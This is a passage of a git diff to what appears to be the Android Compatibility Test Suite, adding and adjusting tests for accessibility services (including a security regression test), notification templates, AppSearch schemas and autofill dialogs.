new InstrumentedAccessibilityServiceTestRule<>(
SpeakingAndVibratingAccessibilityService.class, false);
+ private InstrumentedAccessibilityServiceTestRule<NoFeedbackAccessibilityService>
+ mNoFeedbackAccessibilityServiceRule =
+ new InstrumentedAccessibilityServiceTestRule<>(
+ NoFeedbackAccessibilityService.class, false);
+
private static final Instrumentation sInstrumentation =
InstrumentationRegistry.getInstrumentation();
@@ -93,6 +99,9 @@ public class AccessibilityManagerTest {
private static final String MULTIPLE_FEEDBACK_TYPES_ACCESSIBILITY_SERVICE_NAME =
"android.view.accessibility.cts.SpeakingAndVibratingAccessibilityService";
+ private static final String NO_FEEDBACK_ACCESSIBILITY_SERVICE_NAME =
+ "android.view.accessibility.cts.NoFeedbackAccessibilityService";
+
public static final String ACCESSIBILITY_NON_INTERACTIVE_UI_TIMEOUT_MS =
"accessibility_non_interactive_ui_timeout_ms";
@@ -112,6 +121,7 @@ public class AccessibilityManagerTest {
// SettingsStateChangerRule will suppress accessibility services, so it should be
// executed before enabling a11y services and after disabling a11y services.
.outerRule(mAudioDescriptionSetterRule)
+ .around(mNoFeedbackAccessibilityServiceRule)
.around(mSpeakingAndVibratingAccessibilityServiceRule)
.around(mVibratingAccessibilityServiceRule)
.around(mSpeakingAccessibilityServiceRule)
@@ -241,6 +251,26 @@ public class AccessibilityManagerTest {
assertTrue("The vibrating service should be enabled.", vibratingServiceEnabled);
}
+ @AsbSecurityTest(cveBugId = {243849844})
+ @Test
+ public void testGetEnabledAccessibilityServiceList_NoFeedback() {
+ mNoFeedbackAccessibilityServiceRule.enableService();
+ List<AccessibilityServiceInfo> enabledServices =
+ mAccessibilityManager.getEnabledAccessibilityServiceList(
+ AccessibilityServiceInfo.FEEDBACK_ALL_MASK);
+ boolean noFeedbackServiceEnabled = false;
+ final int serviceCount = enabledServices.size();
+ for (int i = 0; i < serviceCount; i++) {
+ AccessibilityServiceInfo enabledService = enabledServices.get(i);
+ ServiceInfo serviceInfo = enabledService.getResolveInfo().serviceInfo;
+ if (mTargetContext.getPackageName().equals(serviceInfo.packageName)
+ && NO_FEEDBACK_ACCESSIBILITY_SERVICE_NAME.equals(serviceInfo.name)) {
+ noFeedbackServiceEnabled = true;
+ }
+ }
+ assertTrue("The no-feedback service should be enabled.", noFeedbackServiceEnabled);
+ }
+
@Test
public void testGetEnabledAccessibilityServiceListForType() throws Exception {
mSpeakingAccessibilityServiceRule.enableService();
diff --git a/tests/accessibility/src/android/view/accessibility/cts/NoFeedbackAccessibilityService.java b/tests/accessibility/src/android/view/accessibility/cts/NoFeedbackAccessibilityService.java
new file mode 100644
index 00000000000..0c79ae41515
--- /dev/null
+++ b/tests/accessibility/src/android/view/accessibility/cts/NoFeedbackAccessibilityService.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.accessibility.cts;
+
+import android.accessibility.cts.common.InstrumentedAccessibilityService;
+import android.content.ComponentName;
+
+/**
+ * Stub accessibility service that reports itself as providing no feedback.
+ */
+public class NoFeedbackAccessibilityService extends InstrumentedAccessibilityService {
+ public static final ComponentName COMPONENT_NAME = new ComponentName(
+ "android.view.accessibility.cts",
+ "android.view.accessibility.cts.NoFeedbackAccessibilityService");
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/NotTouchableWindowTestActivity.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/NotTouchableWindowTestActivity.java
index f4ec5b8f9ed..9aca75f2f6f 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/NotTouchableWindowTestActivity.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/NotTouchableWindowTestActivity.java
@@ -118,7 +118,7 @@ public class NotTouchableWindowTestActivity extends AccessibilityTestActivity {
| WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR
| WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
params.type = WindowManager.LayoutParams.TYPE_APPLICATION_PANEL;
-
+ params.setFitInsetsTypes(0);
params.gravity = Gravity.TOP;
params.setTitle(NON_TOUCHABLE_WINDOW_TITLE);
diff --git a/tests/app/app/assets/picture_800_by_600.png b/tests/app/app/assets/picture_800_by_600.png
new file mode 100644
index 00000000000..dc8f3d49bdc
--- /dev/null
+++ b/tests/app/app/assets/picture_800_by_600.png
Binary files differ
diff --git a/tests/app/shared/src/android/app/cts/NotificationTemplateTestBase.kt b/tests/app/shared/src/android/app/cts/NotificationTemplateTestBase.kt
index 6b84cd30afb..47da9fa4875 100644
--- a/tests/app/shared/src/android/app/cts/NotificationTemplateTestBase.kt
+++ b/tests/app/shared/src/android/app/cts/NotificationTemplateTestBase.kt
@@ -146,4 +146,7 @@ open class NotificationTemplateTestBase : AndroidTestCase() {
@BoolRes
protected fun getAndroidRBool(boolName: String): Int = getAndroidRes("bool", boolName)
+
+ @DimenRes
+ protected fun getAndroidRDimen(dimenName: String) : Int = getAndroidRes("dimen", dimenName)
} \ No newline at end of file
diff --git a/tests/app/src/android/app/cts/NotificationTemplateTest.kt b/tests/app/src/android/app/cts/NotificationTemplateTest.kt
index f5f0f130e93..bef1319fba1 100644
--- a/tests/app/src/android/app/cts/NotificationTemplateTest.kt
+++ b/tests/app/src/android/app/cts/NotificationTemplateTest.kt
@@ -21,6 +21,7 @@ import android.app.PendingIntent
import android.app.Person
import android.app.cts.CtsAppTestUtils.platformNull
import android.content.Intent
+import android.content.res.Resources
import android.graphics.Bitmap
import android.graphics.Canvas
import android.graphics.Color
@@ -31,6 +32,7 @@ import android.widget.ImageView
import android.widget.TextView
import androidx.annotation.ColorInt
import androidx.test.filters.SmallTest
+import com.android.compatibility.common.util.CddTest;
import com.google.common.truth.Truth.assertThat
import org.junit.Assume
import kotlin.test.assertFailsWith
@@ -282,8 +284,9 @@ class NotificationTemplateTest : NotificationTemplateTestBase() {
}
}
+ @CddTest(requirement = "3.8.3.1/C-2-1")
fun testPromoteBigPicture_withBigPictureUriIcon() {
- val pictureUri = Uri.parse("content://android.app.stubs.assets/picture_400_by_300.png")
+ val pictureUri = Uri.parse("content://android.app.stubs.assets/picture_800_by_600.png")
val pictureIcon = Icon.createWithContentUri(pictureUri)
val builder = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
.setSmallIcon(R.drawable.ic_media_play)
@@ -297,8 +300,8 @@ class NotificationTemplateTest : NotificationTemplateTestBase() {
assertThat(iconView.width.toFloat())
.isWithin(1f)
.of((iconView.height * 4 / 3).toFloat())
- assertThat(iconView.drawable.intrinsicWidth).isEqualTo(400)
- assertThat(iconView.drawable.intrinsicHeight).isEqualTo(300)
+ assertThat(iconView.drawable.intrinsicWidth).isEqualTo(rightIconSize())
+ assertThat(iconView.drawable.intrinsicHeight).isEqualTo(rightIconSize() * 3 / 4)
}
}
@@ -384,8 +387,9 @@ class NotificationTemplateTest : NotificationTemplateTestBase() {
!!.sameAs(picture)).isTrue()
}
+ @CddTest(requirement = "3.8.3.1/C-2-1")
fun testBigPicture_withBigLargeIcon_withContentUri() {
- val iconUri = Uri.parse("content://android.app.stubs.assets/picture_400_by_300.png")
+ val iconUri = Uri.parse("content://android.app.stubs.assets/picture_800_by_600.png")
val icon = Icon.createWithContentUri(iconUri)
val builder = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
.setSmallIcon(R.drawable.ic_media_play)
@@ -396,8 +400,9 @@ class NotificationTemplateTest : NotificationTemplateTestBase() {
assertThat(iconView.width.toFloat())
.isWithin(1f)
.of((iconView.height * 4 / 3).toFloat())
- assertThat(iconView.drawable.intrinsicWidth).isEqualTo(400)
- assertThat(iconView.drawable.intrinsicHeight).isEqualTo(300)
+
+ assertThat(iconView.drawable.intrinsicWidth).isEqualTo(rightIconSize())
+ assertThat(iconView.drawable.intrinsicHeight).isEqualTo(rightIconSize() * 3 / 4)
}
}
@@ -779,6 +784,11 @@ class NotificationTemplateTest : NotificationTemplateTestBase() {
PendingIntent.getBroadcast(mContext, 0, Intent("test"), PendingIntent.FLAG_IMMUTABLE)
}
+ private fun rightIconSize(): Int {
+ return mContext.resources.getDimensionPixelSize(
+ getAndroidRDimen("notification_right_icon_size"))
+ }
+
companion object {
val TAG = NotificationTemplateTest::class.java.simpleName
const val NOTIFICATION_CHANNEL_ID = "NotificationTemplateTest"
diff --git a/tests/app/src/android/app/cts/UpdateMediaTapToTransferReceiverDisplayTest.kt b/tests/app/src/android/app/cts/UpdateMediaTapToTransferReceiverDisplayTest.kt
index c2d02b33a09..f4692c7036c 100644
--- a/tests/app/src/android/app/cts/UpdateMediaTapToTransferReceiverDisplayTest.kt
+++ b/tests/app/src/android/app/cts/UpdateMediaTapToTransferReceiverDisplayTest.kt
@@ -33,6 +33,7 @@ import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionId
import com.google.common.truth.Truth.assertThat
import org.junit.After
import org.junit.Before
+import org.junit.Ignore
import org.junit.Rule
import org.junit.Test
import org.junit.runner.RunWith
@@ -91,6 +92,7 @@ class UpdateMediaTapToTransferReceiverDisplayTest {
}
@Test
+ @Ignore("b/236749332")
fun closeToSender_displaysChip() {
statusBarManager.updateMediaTapToTransferReceiverDisplay(
StatusBarManager.MEDIA_TRANSFER_RECEIVER_STATE_CLOSE_TO_SENDER,
@@ -106,6 +108,7 @@ class UpdateMediaTapToTransferReceiverDisplayTest {
}
@Test
+ @Ignore("236749332")
fun farFromSender_hidesChip() {
// First, make sure we display the chip
statusBarManager.updateMediaTapToTransferReceiverDisplay(
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/app/AppSearchSessionCtsTestBase.java b/tests/appsearch/src/com/android/cts/appsearch/external/app/AppSearchSessionCtsTestBase.java
index 70b68b4aa11..affdaa89759 100644
--- a/tests/appsearch/src/com/android/cts/appsearch/external/app/AppSearchSessionCtsTestBase.java
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/app/AppSearchSessionCtsTestBase.java
@@ -676,6 +676,7 @@ public abstract class AppSearchSessionCtsTestBase {
.build())
.build();
mDb1.setSchemaAsync(new SetSchemaRequest.Builder().addSchemas(schema).build()).get();
+
// Creates a large batch of Documents, since we have max document size in Framework which is
// 512KiB, we will create 1KiB * 4000 docs = 4MiB total size > 1MiB binder transaction limit
char[] chars = new char[1024]; // 1KiB
@@ -3851,4 +3852,104 @@ public abstract class AppSearchSessionCtsTestBase {
documents = convertSearchResultsToDocuments(searchResults);
assertThat(documents).containsExactly(inEmail1);
}
+
+ @Test
+ public void testSetSchemaWithIncompatibleNestedSchema() throws Exception {
+ // 1. Set the original schema. This should succeed without any problems.
+ AppSearchSchema originalNestedSchema =
+ new AppSearchSchema.Builder("TypeA")
+ .addProperty(
+ new StringPropertyConfig.Builder("prop1")
+ .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+ .build())
+ .build();
+ SetSchemaRequest originalRequest =
+ new SetSchemaRequest.Builder().addSchemas(originalNestedSchema).build();
+ mDb1.setSchemaAsync(originalRequest).get();
+
+ // 2. Set a new schema with a new type that refers to "TypeA" and an incompatible change to
+ // "TypeA". This should fail.
+ AppSearchSchema newNestedSchema =
+ new AppSearchSchema.Builder("TypeA")
+ .addProperty(
+ new StringPropertyConfig.Builder("prop1")
+ .setCardinality(PropertyConfig.CARDINALITY_REQUIRED)
+ .build())
+ .build();
+ AppSearchSchema newSchema =
+ new AppSearchSchema.Builder("TypeB")
+ .addProperty(
+ new AppSearchSchema.DocumentPropertyConfig.Builder("prop2", "TypeA")
+ .build())
+ .build();
+ final SetSchemaRequest newRequest =
+ new SetSchemaRequest.Builder().addSchemas(newNestedSchema, newSchema).build();
+ Throwable throwable =
+ assertThrows(ExecutionException.class, () -> mDb1.setSchemaAsync(newRequest).get())
+ .getCause();
+ assertThat(throwable).isInstanceOf(AppSearchException.class);
+ AppSearchException exception = (AppSearchException) throwable;
+ assertThat(exception.getResultCode()).isEqualTo(RESULT_INVALID_SCHEMA);
+ assertThat(exception).hasMessageThat().contains("Schema is incompatible.");
+ assertThat(exception).hasMessageThat().contains("Incompatible types: {TypeA}");
+
+ // 3. Now set that same set of schemas but with forceOverride=true. This should succeed.
+ SetSchemaRequest newRequestForced =
+ new SetSchemaRequest.Builder()
+ .addSchemas(newNestedSchema, newSchema)
+ .setForceOverride(true)
+ .build();
+ mDb1.setSchemaAsync(newRequestForced).get();
+ }
+
+ @Test
+ public void testEmojiSnippet() throws Exception {
+ // Schema registration
+ mDb1.setSchemaAsync(
+ new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ // String: "Luca Brasi sleeps with the 🐟🐟🐟."
+ // ^ ^ ^ ^ ^ ^ ^ ^ ^
+ // UTF8 idx: 0 5 11 18 23 27 3135 39
+ // UTF16 idx: 0 5 11 18 23 27 2931 33
+ // Breaks into segments: "Luca", "Brasi", "sleeps", "with", "the", "🐟", "🐟"
+ // and "🐟".
+ // Index a document to instance 1.
+ String sicilianMessage = "Luca Brasi sleeps with the 🐟🐟🐟.";
+ AppSearchEmail inEmail1 =
+ new AppSearchEmail.Builder("namespace", "uri1").setBody(sicilianMessage).build();
+ checkIsBatchResultSuccess(
+ mDb1.putAsync(
+ new PutDocumentsRequest.Builder().addGenericDocuments(inEmail1).build()));
+
+ AppSearchEmail inEmail2 =
+ new AppSearchEmail.Builder("namespace", "uri2")
+ .setBody("Some other content.")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putAsync(
+ new PutDocumentsRequest.Builder().addGenericDocuments(inEmail2).build()));
+
+ // Query for "🐟"
+ SearchResultsShim searchResults =
+ mDb1.search(
+ "🐟",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+ .setSnippetCount(1)
+ .setSnippetCountPerProperty(1)
+ .build());
+ List<SearchResult> page = searchResults.getNextPageAsync().get();
+ assertThat(page).hasSize(1);
+ assertThat(page.get(0).getGenericDocument()).isEqualTo(inEmail1);
+ List<SearchResult.MatchInfo> matches = page.get(0).getMatchInfos();
+ assertThat(matches).hasSize(1);
+ assertThat(matches.get(0).getPropertyPath()).isEqualTo("body");
+ assertThat(matches.get(0).getFullText()).isEqualTo(sicilianMessage);
+ assertThat(matches.get(0).getExactMatch()).isEqualTo("🐟");
+ if (mDb1.getFeatures().isFeatureSupported(Features.SEARCH_RESULT_MATCH_INFO_SUBMATCH)) {
+ assertThat(matches.get(0).getSubmatch()).isEqualTo("🐟");
+ }
+ }
}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/app/GenericDocumentCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/external/app/GenericDocumentCtsTest.java
index 5dd2eac0617..0bfa6935634 100644
--- a/tests/appsearch/src/com/android/cts/appsearch/external/app/GenericDocumentCtsTest.java
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/app/GenericDocumentCtsTest.java
@@ -576,6 +576,30 @@ public class GenericDocumentCtsTest {
}
@Test
+ public void testNestedProperties_buildBlankPaths() {
+ Exception e =
+ assertThrows(
+ IllegalArgumentException.class,
+ () ->
+ new GenericDocument.Builder<>("namespace", "id1", "schema1")
+ .setPropertyString("", "foo"));
+ assertThat(e.getMessage()).isEqualTo("Property name cannot be blank.");
+
+ e =
+ assertThrows(
+ IllegalArgumentException.class,
+ () ->
+ new GenericDocument.Builder<>("namespace", "id1", "schema1")
+ .setPropertyDocument(
+ "propDoc",
+ new GenericDocument.Builder<>(
+ "namespace", "id2", "schema1")
+ .setPropertyString("", "Bat", "Hawk")
+ .build()));
+ assertThat(e.getMessage()).isEqualTo("Property name cannot be blank.");
+ }
+
+ @Test
public void testNestedProperties_invalidPaths() {
GenericDocument doc =
new GenericDocument.Builder<>("namespace", "id1", "schema1")
@@ -592,25 +616,28 @@ public class GenericDocumentCtsTest {
.build())
.build();
- // Some paths are invalid because they don't apply to the given document --- these should
+ // These paths are invalid because they don't apply to the given document --- these should
// return null. It's not the querier's fault.
assertThat(doc.getPropertyStringArray("propString.propInts")).isNull();
assertThat(doc.getPropertyStringArray("propDocs.propFoo")).isNull();
assertThat(doc.getPropertyStringArray("propDocs.propNestedString.propFoo")).isNull();
+ }
- // Some paths are invalid because they are malformed. These throw an exception --- the
- // querier shouldn't provide such paths.
- assertThrows(
- IllegalArgumentException.class, () -> doc.getPropertyStringArray("propString[0"));
- assertThrows(
- IllegalArgumentException.class, () -> doc.getPropertyStringArray("propString[0.]"));
- assertThrows(
- IllegalArgumentException.class,
- () -> doc.getPropertyStringArray("propString[banana]"));
- assertThrows(
- IllegalArgumentException.class, () -> doc.getPropertyStringArray("propString[-1]"));
- assertThrows(
- IllegalArgumentException.class, () -> doc.getPropertyStringArray("propDocs[0]cat"));
+ @Test
+ public void testNestedProperties_arrayTypesInvalidPath() {
+ GenericDocument doc = new GenericDocument.Builder<>("namespace", "id1", "schema1").build();
+ assertThrows(IllegalArgumentException.class, () -> doc.getPropertyString("."));
+ assertThrows(IllegalArgumentException.class, () -> doc.getPropertyDocument("."));
+ assertThrows(IllegalArgumentException.class, () -> doc.getPropertyBoolean("."));
+ assertThrows(IllegalArgumentException.class, () -> doc.getPropertyDouble("."));
+ assertThrows(IllegalArgumentException.class, () -> doc.getPropertyLong("."));
+ assertThrows(IllegalArgumentException.class, () -> doc.getPropertyBytes("."));
+ assertThrows(IllegalArgumentException.class, () -> doc.getPropertyStringArray("."));
+ assertThrows(IllegalArgumentException.class, () -> doc.getPropertyDocumentArray("."));
+ assertThrows(IllegalArgumentException.class, () -> doc.getPropertyBooleanArray("."));
+ assertThrows(IllegalArgumentException.class, () -> doc.getPropertyDoubleArray("."));
+ assertThrows(IllegalArgumentException.class, () -> doc.getPropertyLongArray("."));
+ assertThrows(IllegalArgumentException.class, () -> doc.getPropertyBytesArray("."));
}
@Test
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/app/GlobalSearchSessionCtsTestBase.java b/tests/appsearch/src/com/android/cts/appsearch/external/app/GlobalSearchSessionCtsTestBase.java
index 71822ca59dd..47337cac18e 100644
--- a/tests/appsearch/src/com/android/cts/appsearch/external/app/GlobalSearchSessionCtsTestBase.java
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/app/GlobalSearchSessionCtsTestBase.java
@@ -1641,6 +1641,11 @@ public abstract class GlobalSearchSessionCtsTestBase {
@Test
public void testAddObserver_schemaChange_added() throws Exception {
+ assumeTrue(
+ mDb1.getFeatures()
+ .isFeatureSupported(
+ Features.GLOBAL_SEARCH_SESSION_REGISTER_OBSERVER_CALLBACK));
+
// Register an observer
TestObserverCallback observer = new TestObserverCallback();
mGlobalSearchSession.registerObserverCallback(
@@ -1688,6 +1693,11 @@ public abstract class GlobalSearchSessionCtsTestBase {
@Test
public void testAddObserver_schemaChange_removed() throws Exception {
+ assumeTrue(
+ mDb1.getFeatures()
+ .isFeatureSupported(
+ Features.GLOBAL_SEARCH_SESSION_REGISTER_OBSERVER_CALLBACK));
+
// Add a schema type
mDb1.setSchemaAsync(
new SetSchemaRequest.Builder()
@@ -1723,6 +1733,11 @@ public abstract class GlobalSearchSessionCtsTestBase {
@Test
public void testAddObserver_schemaChange_contents() throws Exception {
+ assumeTrue(
+ mDb1.getFeatures()
+ .isFeatureSupported(
+ Features.GLOBAL_SEARCH_SESSION_REGISTER_OBSERVER_CALLBACK));
+
// Add a schema
mDb1.setSchemaAsync(
new SetSchemaRequest.Builder()
@@ -1794,6 +1809,11 @@ public abstract class GlobalSearchSessionCtsTestBase {
@Test
public void testAddObserver_schemaChange_contents_skipBySpec() throws Exception {
+ assumeTrue(
+ mDb1.getFeatures()
+ .isFeatureSupported(
+ Features.GLOBAL_SEARCH_SESSION_REGISTER_OBSERVER_CALLBACK));
+
// Add a schema
mDb1.setSchemaAsync(
new SetSchemaRequest.Builder()
@@ -1862,6 +1882,11 @@ public abstract class GlobalSearchSessionCtsTestBase {
@Test
public void testRegisterObserver_schemaMigration() throws Exception {
+ assumeTrue(
+ mDb1.getFeatures()
+ .isFeatureSupported(
+ Features.GLOBAL_SEARCH_SESSION_REGISTER_OBSERVER_CALLBACK));
+
// Add a schema with two types
mDb1.setSchemaAsync(
new SetSchemaRequest.Builder()
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dialog/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dialog/LoginActivityTest.java
index a6251f5b254..70d7a083b44 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/dialog/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/dialog/LoginActivityTest.java
@@ -66,12 +66,12 @@ public class LoginActivityTest extends AutoFillServiceTestCase.ManualActivityLau
mUiBot.waitForIdleSync();
// Click on password field
- mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD);
+ mUiBot.selectByRelativeId(ID_PASSWORD);
// Waits a while
mUiBot.waitForIdleSync();
// Click on password field again
- mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD);
+ mUiBot.selectByRelativeId(ID_PASSWORD);
// Waits a while
mUiBot.waitForIdleSync();
@@ -104,7 +104,7 @@ public class LoginActivityTest extends AutoFillServiceTestCase.ManualActivityLau
mUiBot.waitForIdleSync();
// Click on password field to trigger fill dialog
- mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD);
+ mUiBot.selectByRelativeId(ID_PASSWORD);
mUiBot.waitForIdleSync();
mUiBot.assertFillDialogDatasets("Dialog Presentation");
@@ -114,7 +114,7 @@ public class LoginActivityTest extends AutoFillServiceTestCase.ManualActivityLau
mUiBot.waitForIdle();
// Click on password field again
- mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD);
+ mUiBot.selectByRelativeId(ID_PASSWORD);
mUiBot.waitForIdleSync();
// Verify IME is shown
@@ -149,7 +149,7 @@ public class LoginActivityTest extends AutoFillServiceTestCase.ManualActivityLau
mUiBot.waitForIdleSync();
// Click on password field to trigger fill dialog
- mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD);
+ mUiBot.selectByRelativeId(ID_PASSWORD);
mUiBot.waitForIdleSync();
// Verify IME is not shown
@@ -202,7 +202,7 @@ public class LoginActivityTest extends AutoFillServiceTestCase.ManualActivityLau
mUiBot.waitForIdleSync();
// Click on password field to trigger fill dialog
- mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD);
+ mUiBot.selectByRelativeId(ID_PASSWORD);
mUiBot.waitForIdleSync();
mUiBot.assertFillDialogDatasets("Dialog Presentation");
@@ -219,7 +219,7 @@ public class LoginActivityTest extends AutoFillServiceTestCase.ManualActivityLau
// Click on the username field to trigger autofill. Although the username field supports
// a fill dialog, the fill dialog only shown once, so shows the dropdown UI.
- mUiBot.selectByRelativeIdFromUiDevice(ID_USERNAME);
+ mUiBot.selectByRelativeId(ID_USERNAME);
mUiBot.waitForIdleSync();
mUiBot.assertNoFillDialog();
@@ -270,7 +270,7 @@ public class LoginActivityTest extends AutoFillServiceTestCase.ManualActivityLau
mUiBot.waitForIdleSync();
// Click on password field
- mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD);
+ mUiBot.selectByRelativeId(ID_PASSWORD);
mUiBot.waitForIdleSync();
// Verify IME is not shown
@@ -314,7 +314,7 @@ public class LoginActivityTest extends AutoFillServiceTestCase.ManualActivityLau
sReplier.getNextFillRequest();
mUiBot.waitForIdleSync();
- mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD);
+ mUiBot.selectByRelativeId(ID_PASSWORD);
mUiBot.waitForIdleSync();
mUiBot.assertFillDialogDatasets("Dialog presentation");
@@ -325,7 +325,7 @@ public class LoginActivityTest extends AutoFillServiceTestCase.ManualActivityLau
mUiBot.waitForIdle();
// Click on username field, and verify dropdown UI is shown
- mUiBot.selectByRelativeIdFromUiDevice(ID_USERNAME);
+ mUiBot.selectByRelativeId(ID_USERNAME);
mUiBot.waitForIdleSync();
mUiBot.assertDatasets("Dropdown Presentation");
@@ -365,7 +365,7 @@ public class LoginActivityTest extends AutoFillServiceTestCase.ManualActivityLau
mUiBot.waitForIdleSync();
// Click on username field, and verify dropdown UI is shown.
- mUiBot.selectByRelativeIdFromUiDevice(ID_USERNAME);
+ mUiBot.selectByRelativeId(ID_USERNAME);
mUiBot.waitForIdleSync();
mUiBot.assertDatasets("Dropdown Presentation");
@@ -417,7 +417,7 @@ public class LoginActivityTest extends AutoFillServiceTestCase.ManualActivityLau
mUiBot.waitForIdleSync();
// Click on password field to trigger fill dialog, then select
- mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD);
+ mUiBot.selectByRelativeId(ID_PASSWORD);
mUiBot.waitForIdleSync();
activity.expectAutoFill("dude", "sweet");
mUiBot.selectFillDialogDataset("Dialog Presentation");
@@ -462,7 +462,7 @@ public class LoginActivityTest extends AutoFillServiceTestCase.ManualActivityLau
sReplier.addResponse(builder.build());
// Click on username field to trigger fill dialog
- mUiBot.selectByRelativeIdFromUiDevice(ID_USERNAME);
+ mUiBot.selectByRelativeId(ID_USERNAME);
mUiBot.waitForIdleSync();
// Check onFillRequest is called now, and the fill dialog is not shown
@@ -538,7 +538,7 @@ public class LoginActivityTest extends AutoFillServiceTestCase.ManualActivityLau
assertHasFlags(fillRequest.flags, FLAG_SUPPORTS_FILL_DIALOG);
// Click on password field to trigger fill dialog
- mUiBot.selectByRelativeIdFromUiDevice(ID_USERNAME);
+ mUiBot.selectByRelativeId(ID_USERNAME);
mUiBot.waitForIdleSync();
// Verify IME is not shown
@@ -576,7 +576,7 @@ public class LoginActivityTest extends AutoFillServiceTestCase.ManualActivityLau
mUiBot.waitForIdleSync();
// Click on password field to trigger fill dialog
- mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD);
+ mUiBot.selectByRelativeId(ID_PASSWORD);
mUiBot.waitForIdleSync();
// Verify IME is not shown
@@ -622,7 +622,7 @@ public class LoginActivityTest extends AutoFillServiceTestCase.ManualActivityLau
mUiBot.waitForIdleSync();
// Click on password field to trigger fill dialog
- mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD);
+ mUiBot.selectByRelativeId(ID_PASSWORD);
mUiBot.waitForIdleSync();
// Verify the fill dialog shown
@@ -669,7 +669,7 @@ public class LoginActivityTest extends AutoFillServiceTestCase.ManualActivityLau
mUiBot.waitForIdleSync();
// Click on password field to trigger fill dialog
- mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD);
+ mUiBot.selectByRelativeId(ID_PASSWORD);
mUiBot.waitForIdleSync();
// Verify the fill dialog shown
diff --git a/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/DisableAutofillTest.java b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/DisableAutofillTest.java
index 5eb72f4fad8..8c8e73267f4 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/DisableAutofillTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/DisableAutofillTest.java
@@ -83,7 +83,7 @@ public class DisableAutofillTest extends AutoFillServiceTestCase.ManualActivityL
* Launches and finishes {@link SimpleSaveActivity}, returning how long it took.
*/
private long launchSimpleSaveActivity(PostLaunchAction action) throws Exception {
- Log.v(TAG, "launchPreSimpleSaveActivity(): " + action);
+ Log.v(TAG, "launchSimpleSaveActivity(): " + action);
sReplier.assertNoUnhandledFillRequests();
if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
@@ -175,7 +175,7 @@ public class DisableAutofillTest extends AutoFillServiceTestCase.ManualActivityL
// Asserts isEnabled() status.
assertAutofillEnabled(activity, action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
} finally {
- activity.finish();
+ mUiBot.waitForWindowChange(() -> activity.finish());
}
return SystemClock.elapsedRealtime() - before;
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/UiBot.java
index 73639c08eaa..50ef382cf5e 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/testcore/UiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/UiBot.java
@@ -52,6 +52,7 @@ import android.os.SystemClock;
import android.service.autofill.SaveInfo;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.BySelector;
+import android.support.test.uiautomator.Configurator;
import android.support.test.uiautomator.Direction;
import android.support.test.uiautomator.SearchCondition;
import android.support.test.uiautomator.StaleObjectException;
@@ -65,6 +66,8 @@ import android.text.Html;
import android.text.Spanned;
import android.text.style.URLSpan;
import android.util.Log;
+import android.view.InputDevice;
+import android.view.MotionEvent;
import android.view.View;
import android.view.WindowInsets;
import android.view.accessibility.AccessibilityEvent;
@@ -1277,20 +1280,6 @@ public class UiBot {
}
/**
- * Selects a view by id via UiDevice.
- *
- * Note: This used to avoid IME issue that some case IME will be not shown via
- * UiObject2.click().
- */
- public UiObject2 selectByRelativeIdFromUiDevice(String id) throws Exception {
- Log.v(TAG, "selectByRelativeIdFromDevice(): " + id);
- final UiObject2 object = waitForObject(By.res(mPackageName, id));
- final Point p = object.getVisibleCenter();
- mDevice.click(p.x, p.y);
- return object;
- }
-
- /**
* Asserts the header in the fill dialog.
*/
public void assertFillDialogHeader(String expectedHeader) throws Exception {
@@ -1374,7 +1363,7 @@ public class UiBot {
public void touchOutsideDialog() throws Exception {
Log.v(TAG, "touchOutsideDialog()");
